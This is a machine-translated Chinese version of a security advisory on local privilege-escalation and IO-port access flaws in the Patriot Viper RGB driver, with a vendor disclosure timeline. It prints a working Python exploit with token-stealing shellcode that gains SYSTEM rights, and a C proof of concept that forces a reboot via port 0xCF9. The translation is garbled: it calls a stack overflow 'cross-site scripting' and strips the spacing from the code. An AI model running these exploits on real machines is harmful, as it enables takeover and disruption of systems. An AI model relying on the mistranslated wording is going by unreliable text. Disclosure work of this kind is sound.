0x01 系统漏洞信息内容
系统漏洞种类:根据高速缓存的跨站脚本攻击[CWE-121],曝露的IOCTL(密钥管理不够)[CWE-782] 危害:执行命令容许权利提高 远程控制可运用:否 当地可运用:是 CVE名字: CVE-2019-19452
0x02 系统漏洞叙述
Patriot Memory是一家公司总部设在国外的技术性企业,设计方案和生产制造扩展槽,闪存驱动器,挪动零配件和电玩设备。
在解决IoControlCode 0x80102040时,在Viper驱动软件RGB 1.1版中发觉跨站脚本攻击系统漏洞。当地网络攻击可以运用此系统漏洞,因而得到NT AUTHORITY \ SYSTEM权利。
IOCTL编码0x80102050和0x80102054容许具备低权利的客户从IO端口号载入或向其写入1/2/4字节数。可以利用很多种方法来运用它来最后以提高的权利运行代码。
0x03 安全性提议
1.1版和全部之前的新版本在每一个受适用的Windows版本号里都非常容易遭到进攻(程序安装:Patriot Viper RGB v1.1.exe)
解决方案和解决方法:
Patriot Memory已公布版本号MSIO_191231_v1.2,该版本已修补汇报中的系统漏洞。
这种系统漏洞是由Core Security Exploit精英团队的Ricardo Narvaja和Lucas Dominikow发觉的。
0x04 系统漏洞剖析和运用认证
根据高速缓存的跨站脚本攻击权利提高
CVE-2019-19452
对版本号1.0的系统漏洞的运用认证发觉了外溢系统漏洞的存有,该外溢可以遮盖ZwOpenSection和ZwMapViewOfSection的主要参数。
1.0版和1.1版中间的二进制代码差别说明,虽然对这种函数公式的主要参数开展了查验,但此前的外溢系统漏洞仍存有未开展修复,而CoreLabs在接着科学研究中可以操纵其尺寸。
可以在下面寻找相关版本号1.0的信息内容:
https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.md
https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845
在版本号1.1中,控制板剖析IoControlCodes并抵达此部位,将IoControlCode与0x80102040开展较为。
.text:0000000000001518learcx,aIrpMjDeviceCon;"IRP_MJ_DEVICE_CONTROL".text:000000000000151FcallDbgPrint.text:0000000000001524movr11d,[rbp 18h].text:0000000000001528cmpr11d,80102040h.text:000000000000152Fjzloc_16D4
假如较为結果恰当,则会启用由CoreLabs操纵的MaxCount(要拷贝的尺寸)和SRC(源缓冲区域)的memmove,沒有开展检验以保证数据信息合适总体目标缓冲区域,进而造成堆栈溢出。
.text:00000000000016E8learcx,[rsp 78h Src];Dst.text:00000000000016EDmovr8,rbx;MaxCount.text:00000000000016F0movrdx,rsi;Src.text:00000000000016F3callmemmove
因为驱动软件并未应用安全性cookie维护函数公式的局部变量,因而可以取得成功实行任何编码。
可以根据启用CreateFileA来获得驱动软件的句柄,随后根据推送可控数据信息来启用DeviceIoControl来完成此作用。下边将应用对于Windows 7 SP1 x64设计方案PoC,演试对于x64版本号驱动软件的执行命令。该编码将必须改写为别的Windows版本号。
合理运用系统漏洞在于总体目标机器设备和系统架构的关键点。例如,在Windows 10中,有SMEP / SMAP和别的特殊的改善对策。
下边见到的PoC漏洞检测演试了此全过程,该过程器重了联接tcp协议以转化成shell并在操作系统上实行随意指令。
#!/usr/bin/envpythonimportstruct,sys,osfromctypesimport*fromctypes.wintypesimport*importosimportstructimportsysfromctypesimportwintypesGENERIC_READ=0x80000000GENERIC_WRITE=0x40000000GENERIC_EXECUTE=0x20000000GENERIC_ALL=0x10000000FILE_SHARE_DELETE=0x00000004FILE_SHARE_READ=0x00000001FILE_SHARE_WRITE=0x00000002CREATE_NEW=1CREATE_ALWAYS=2OPEN_EXISTING=3OPEN_ALWAYS=4TRUNCATE_EXISTING=5HEAP_ZERO_MEMORY=0x00000008MEM_COMMIT=0x00001000MEM_RESERVE=0x00002000PAGE_EXECUTE_READWRITE=0x00000040ntdll=windll.ntdllkernel32=windll.kernel32ntdll.NtAllocateVirtualMemory.argtypes=[c_ulonglong,POINTER(c_ulonglong),c_ulonglong,POINTER(c_ulonglong),c_ulonglong,c_ulonglong]kernel32.WriteProcessMemory.argtypes=[c_ulonglong,c_ulonglong,c_char_p,c_ulonglong,POINTER(c_ulonglong)]GetProcAddress=kernel32.GetProcAddressGetProcAddress.restype=c_ulonglongGetProcAddress.argtypes=[c_ulonglong,wintypes.LPCSTR]GetModuleHandleA=kernel32.GetModuleHandleAGetModuleHandleA.restype=wintypes.HMODULEGetModuleHandleA.argtypes=[wintypes.LPCSTR]k32Dll=GetModuleHandleA("kernel32.dll")print"0x%X"%(k32Dll)if(notk32Dll):print("[-]FailedTogetmodulehandlekernel32.dll\n")WinExec=GetProcAddress(k32Dll,"WinExec")print"0x%X"%(WinExec)if(notWinExec):print("[-]FailedTogetWinExecaddress.dll\n")print"WinExec=0x%x"%WinExecraw_input()buf=kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40))shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\\x8b\\x81\\x80\\x00\\x00\\x00\\x24\\xf0\\x49\\x89\\x80\\x08\\x02\\x00\\x00\\x48\\x31\\xc0\\x48\\x81\\xc4\\x28\\x01\\x00\x00\xc3"#STARTSHEREwritten=c_ulonglong(0)dwReturn=c_ulong()hDevice=kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,None,OPEN_EXISTING,0,None)print"[ ]bufferaddress:0x%X"%bufdata="\xeb\x4e" 0x46*"A" struct.pack("<Q",int(buf)) shellcodeprint"%r"�takernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data)))bytes_returned=wintypes.DWORD(0)h=wintypes.HANDLE(hDevice)b=wintypes.LPVOID(buf)#TRIGGERdev_ioctl=kernel32.DeviceIoControl(hDevice,0x80102040,b,80,None,0,byref(dwReturn),None)os.system("calc.exe")kernel32.CloseHandle(hDevice)
用python 64位实行该编码后,将表明具备NT AUTHORITY \ SYSTEM权利的calc。
端口映射的I / O浏览
虽然现阶段沒有为该系统漏洞分派CVE,可是假如MITER分派了别的CVE名字,则将应用更多信息升级本文本文档。
我们可以应用IOCTL编码0x80102050载入IO端口号。
要特定我们要载入的IO端口号及其要载入的字节数尺寸,务必上传一个制作的缓冲区域,在其中前2个字节数是IO端口号,第六个是要载入的字节1、2或4。
除此之外,可以应用IOCTL编码0x80102054对IO端口号开展载入。此外,务必上传一个制作的缓冲区域。此缓冲区与载入的缓冲区域十分类似。关键差别取决于大家还必须特定要发送至IO端口号的数据信息。该信息可以为1/2/4字节数,并从IO端口号(3字节数起)边上逐渐,在这样的情况下,第六个字节数将明确要载入的字节。
根据载入/写入IO端口号我们可以完成运用。例如,下列PoC编码将根据再次正确引导电子计算机来造成回绝服。
#include#include#defineIOCTL_READ_IOPORT0x80102050#defineIOCTL_WRITE_IOPORT0x80102054HANDLEGetDriverHandle(LPCSTRdriverName){HANDLEhDriver=CreateFile(driverName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if(hDriver==INVALID_HANDLE_VALUE){printf("FailedGetDriverHandle.\nErrorcode:%d\n",GetLastError());exit(1);}returnhDriver;}BYTEReadPort(HANDLEhDriver,unsignedintport){DWORDinBufferSize=10;DWORDoutBufferSize=1;DWORDbytesReturned=0;LPVOIDinBuffer=VirtualAlloc(NULL,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);LPVOIDoutBuffer=VirtualAlloc(NULL,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(inBuffer==NULL){printf("FailedtoallocateinBuffer%d\n",GetLastError());return1;}if(outBuffer==NULL){printf("FailedtoallocateoutBuffer%d\n",GetLastError());return1;}memcpy((char*)inBuffer,&port,2);memset((char*)inBuffer 6,0x1,1);BOOLretDevIoControl=DeviceIoControl(hDriver,IOCTL_READ_IOPORT,inBuffer,inBufferSize,outBuffer,outBufferSize,&bytesReturned,0);if(retDevIoControl==0){printf("FailedDeviceIoControl\nErrorcode:%d",GetLastError());return1;}return(BYTE)(*((char*)outBuffer));}voidWritePort(HANDLEhDriver,unsignedintport,BYTEdata){DWORDinBufferSize=10;DWORDoutBufferSize=1;DWORDbytesReturned=0;LPVOIDinBuffer=VirtualAlloc(NULL,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);LPVOIDoutBuffer=VirtualAlloc(NULL,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(inBuffer==NULL){printf("FailedtoallocateinBuffer%d\n",GetLastError());exit(1);}if(outBuffer==NULL){printf("FailedtoallocateoutBuffer%d\n",GetLastError());exit(1);}memcpy((char*)inBuffer,&port,2);memcpy((char*)inBuffer 2,&data,1);memset((char*)inBuffer 6,0x1,1);BOOLretDevIoControl=DeviceIoControl(hDriver,IOCTL_WRITE_IOPORT,inBuffer,inBufferSize,outBuffer,outBufferSize,&bytesReturned,0);if(retDevIoControl==0){printf("FailedDeviceIoControl\nErrorcode:%d",GetLastError());exit(1);}}intmain(intargc,char**argv){LPCSTRdriverName=(LPCSTR)"\\\\.\\Msio";HANDLEhDriver=GetDriverHandle(driverName);BYTEportCF9=ReadPort(hDriver,0xcf9)&~0x6;WritePort(hDriver,0xcf9,portCF9|2);Sleep(50);WritePort(hDriver,0xcf9,portCF9|0xe);//ColdRebootCloseHandle(hDriver);return0;}
0x05 系统漏洞公布时刻表
2019年11月6日– CoreLabs根据support@patriotmem.com向经销商传出了联络电子邮箱, 规定披露。
2019年11月26日–根据MITER网站申请CVE,接到申请办理确定。
2019年11月29日– MITER将CVE-2019-19452分派给第一个系统漏洞。
2019年12月5日–称之为Patriot Memory HQ(510-979-1021),已根据自动电话系统软件发送给服务支持,还留下来了留言板留言信息内容和电子邮箱。
2019年12月5日–接到来源于出卖方的电子邮箱,规定进一步的信息内容。回应了十分基础的叙述,并需要在推送POC以前确定此电子邮箱是集团公司的优选公布方式。
2019年12月17日–接到来源于经销商Patriot R&D的电子邮箱,在其中确定了递交方法并将其取名为关键手机联系人,回应了PoC。
2020年1月1日–接到来源于经销商的电子邮箱,在其中附带提议的修补程序流程。
2020年1月8日–确定补丁程序恰当。与经销商确定补丁程序合理,并了解她们什么时候公布补丁程序。
2020年1月9日–经销商申明该补丁包较多必须两个星期才可以公布(2020年1月23日)。
2020年1月16日–根据电子邮件发送给经销商,以确定23日的一切按照计划开展。表明大家准备在24日公布。
2020年1月16日–发觉第二个未根据补丁包处理的系统漏洞。新的POC发给爱国者。
2020年1月20日–接到来源于经销商的电子邮箱,强调他觉得发觉第二个系统漏洞很有可能会推迟公布有什么问题的补丁包。
2020年2月7日– Tweet由第三方公布在Twitter上,在其中包括相关Viper RGB系统漏洞的信息内容。CoreLabs认证了推原文中的数据是不是恰当,数据信息如今处在公开化情况。
2020年2月8日–向MITRE要求第二个系统漏洞的CVE真实身份。
2020年2月8日–向Patriot要求第二个系统漏洞的补丁程序情况,并告之她们该信息内容已经在Twitter上公布。
2020年2月10日–Patriot回复说,第二个系统漏洞现阶段沒有补丁包。
2020年2月12日–告之Patriot,伴随着相关系统漏洞的信息公示,CoreLabs方案在2020年2月17日公布,除非是在2020年2月14日以前接到进一步的沟通交流。
2020年2月17日–已公布资询CORE-2020-0001。
参照信息内容:
https://www.viper.patriotmemory.com/viperrgbdramsoftware
https://www.coresecurity.com/contact
文中翻譯自:https://www.coresecurity.com/advisories/viper-rgb-driver-multiple-vulnerabilities?source=twitter&code=CMP-0000001929&ls=100000000&utm_campaign=core-cts-emails&utm_content=117968468&utm_medium=social&utm_source=twitter&hss_channel=tw-17157238倘若转截,请标明全文详细地址。